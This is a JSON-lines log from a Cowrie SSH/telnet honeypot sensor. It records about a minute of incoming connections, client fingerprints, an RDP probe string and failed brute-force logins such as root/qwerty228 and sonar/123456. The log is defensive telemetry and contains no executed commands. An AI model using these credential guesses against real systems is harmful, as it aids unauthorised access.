{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:39.251275Z","src_ip":"103.77.242.62","session":"3f4b128d0d9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2222222222","message":"login attempt [root/2222222222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:39.955794Z","src_ip":"103.77.242.62","session":"3f4b128d0d9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:41.192816Z","src_ip":"103.77.242.62","session":"3f4b128d0d9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.125327825546265,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:43.329602Z","src_ip":"152.42.224.71","session":"dd3b7183adbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.213218688964844,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:45.378802Z","src_ip":"152.42.224.71","session":"a42a8b98f138","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42430,"dst_ip":"10.17.0.5","dst_port":23,"session":"dffea7d55ddf","protocol":"telnet","message":"New connection: 152.42.224.71:42430 (10.17.0.5:23) [session: dffea7d55ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:46.557733Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:46.732610Z","src_ip":"47.237.167.49","session":"279d8bf6d2cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.5","message":"Connection lost after 11.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:47.982936Z","src_ip":"47.237.167.49","session":"279d8bf6d2cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.2430694103241,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:54.851322Z","src_ip":"152.42.224.71","session":"55162588c9a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.597362995147705,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:54.936508Z","src_ip":"152.42.224.71","session":"558d41ea61fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.01868414878845,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:55.672894Z","src_ip":"152.42.224.71","session":"784f95a1e2b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50794,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e87a6a14ab9","protocol":"ssh","message":"New connection: 152.42.212.128:50794 (159.203.135.109:22) [session: 0e87a6a14ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:56.487979Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:56.495318Z","src_ip":"152.42.212.128","session":"0e87a6a14ab9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:11:56.499130Z","src_ip":"152.42.212.128","session":"0e87a6a14ab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48814,"dst_ip":"10.17.0.5","dst_port":23,"session":"16ebaf0db3b9","protocol":"telnet","message":"New connection: 152.42.224.71:48814 (10.17.0.5:23) [session: 16ebaf0db3b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:00.877790Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48818,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ed1f5160aca","protocol":"telnet","message":"New connection: 152.42.224.71:48818 (10.17.0.5:23) [session: 5ed1f5160aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:03.219118Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":38450,"dst_ip":"10.17.0.5","dst_port":22,"session":"3533d15bcd95","protocol":"ssh","message":"New connection: 193.228.128.84:38450 (10.17.0.5:22) [session: 3533d15bcd95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:04.068217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:04.073453Z","src_ip":"193.228.128.84","session":"3533d15bcd95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:04.175860Z","src_ip":"193.228.128.84","session":"3533d15bcd95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfrnec","message":"login attempt [root/rfrnec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:04.483653Z","src_ip":"193.228.128.84","session":"3533d15bcd95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:05.589575Z","src_ip":"193.228.128.84","session":"3533d15bcd95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.36939001083374,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:09.516567Z","src_ip":"152.42.224.71","session":"275bb00be737","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37484,"dst_ip":"159.203.135.109","dst_port":22,"session":"559714048313","protocol":"ssh","message":"New connection: 103.153.68.219:37484 (159.203.135.109:22) [session: 559714048313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:12.198981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:12.204459Z","src_ip":"103.153.68.219","session":"559714048313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":59822,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4826006f28f","protocol":"ssh","message":"New connection: 77.94.47.83:59822 (10.17.0.5:22) [session: a4826006f28f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:12.255576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:12.260557Z","src_ip":"77.94.47.83","session":"a4826006f28f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:12.383477Z","src_ip":"77.94.47.83","session":"a4826006f28f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:12.457280Z","src_ip":"103.153.68.219","session":"559714048313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty228","message":"login attempt [root/qwerty228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:12.751246Z","src_ip":"77.94.47.83","session":"a4826006f28f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2s3d4f5g","message":"login attempt [root/1a2s3d4f5g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:13.212363Z","src_ip":"103.153.68.219","session":"559714048313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.7473726272583,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:13.249390Z","src_ip":"152.42.224.71","session":"856bde1a4e47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:13.875648Z","src_ip":"77.94.47.83","session":"a4826006f28f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:14.474938Z","src_ip":"103.153.68.219","session":"559714048313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":38960,"dst_ip":"159.203.135.109","dst_port":22,"session":"bed22533cbb6","protocol":"ssh","message":"New connection: 170.238.160.191:38960 (159.203.135.109:22) [session: bed22533cbb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:16.962137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:16.966990Z","src_ip":"170.238.160.191","session":"bed22533cbb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:17.092579Z","src_ip":"170.238.160.191","session":"bed22533cbb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mm123456","message":"login attempt [root/Mm123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:17.622087Z","src_ip":"170.238.160.191","session":"bed22533cbb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53892,"dst_ip":"10.17.0.5","dst_port":23,"session":"407eafe2f3b2","protocol":"telnet","message":"New connection: 152.42.224.71:53892 (10.17.0.5:23) [session: 407eafe2f3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:18.700776Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:18.750740Z","src_ip":"170.238.160.191","session":"bed22533cbb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53898,"dst_ip":"10.17.0.5","dst_port":23,"session":"490c2ce9b1ea","protocol":"telnet","message":"New connection: 152.42.224.71:53898 (10.17.0.5:23) [session: 490c2ce9b1ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:21.449377Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53910,"dst_ip":"10.17.0.5","dst_port":23,"session":"99767b4bf8e8","protocol":"telnet","message":"New connection: 152.42.224.71:53910 (10.17.0.5:23) [session: 99767b4bf8e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:22.525768Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53912,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f2b3a2ae5d7","protocol":"telnet","message":"New connection: 152.42.224.71:53912 (10.17.0.5:23) [session: 9f2b3a2ae5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:23.404970Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":39786,"dst_ip":"159.203.135.109","dst_port":22,"session":"24809ed805da","protocol":"ssh","message":"New connection: 181.188.172.6:39786 (159.203.135.109:22) [session: 24809ed805da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:26.902354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:26.908302Z","src_ip":"181.188.172.6","session":"24809ed805da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:27.027173Z","src_ip":"181.188.172.6","session":"24809ed805da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:27.899892Z","src_ip":"181.188.172.6","session":"24809ed805da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.37394666671753,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:27.931547Z","src_ip":"152.42.224.71","session":"dffea7d55ddf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:29.021505Z","src_ip":"181.188.172.6","session":"24809ed805da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.92915391921997,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:29.148125Z","src_ip":"152.42.224.71","session":"5ed1f5160aca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00323677062988,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:30.978097Z","src_ip":"152.42.224.71","session":"eb4ac069a3fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43472,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfebb6e00b70","protocol":"telnet","message":"New connection: 152.42.224.71:43472 (10.17.0.5:23) [session: bfebb6e00b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:33.189452Z"}
{"eventid":"cowrie.session.closed","duration":66.24667525291443,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:35.019247Z","src_ip":"152.42.224.71","session":"58e584b3ddfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43014,"dst_ip":"10.17.0.5","dst_port":23,"session":"776cfd4a6e38","protocol":"telnet","message":"New connection: 152.42.224.71:43014 (10.17.0.5:23) [session: 776cfd4a6e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:36.218581Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43022,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5bb9b2fd525","protocol":"telnet","message":"New connection: 152.42.224.71:43022 (10.17.0.5:23) [session: c5bb9b2fd525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:44.507347Z"}
